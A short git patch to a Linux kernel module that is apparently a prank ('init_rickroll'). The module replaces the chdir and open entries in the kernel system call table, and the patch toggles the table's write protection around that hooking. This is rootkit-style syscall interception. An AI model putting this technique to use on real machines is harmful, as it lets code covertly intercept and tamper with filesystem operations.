From 80bc911bc2a142f9d6a0710453ba7764d74c43a1 Mon Sep 17 00:00:00 2001
From: tv <tv@xso>
Date: Thu, 8 Sep 2011 13:38:45 +0200
Subject: //DNA/linux: set_addr_ro & CPF_ENABLE after mods

---
 DNA/linux/krebs.c | 6 ++++++
 1 file changed, 6 insertions(+)

(limited to 'DNA')

diff --git a/DNA/linux/krebs.c b/DNA/linux/krebs.c
index af640080..df319c63 100644
--- a/DNA/linux/krebs.c
+++ b/DNA/linux/krebs.c
@@ -170,11 +170,17 @@ static int __init init_rickroll(void)
     o_chdir = (void *)sys_call_table[__NR_chdir];
     sys_call_table[__NR_chdir] = (void *) my_chdir; 
 
+    set_addr_ro((unsigned long)sys_call_table);
+    GPF_ENABLE;
+
     return 0; 
 } 
 
 static void __exit exit_rickroll(void) 
 { 
+    set_addr_rw((unsigned long)sys_call_table);
+    GPF_DISABLE;
+
     sys_call_table[__NR_chdir] = (void *) o_chdir; 
     sys_call_table[__NR_open] = (void *) o_open; 
 
-- 
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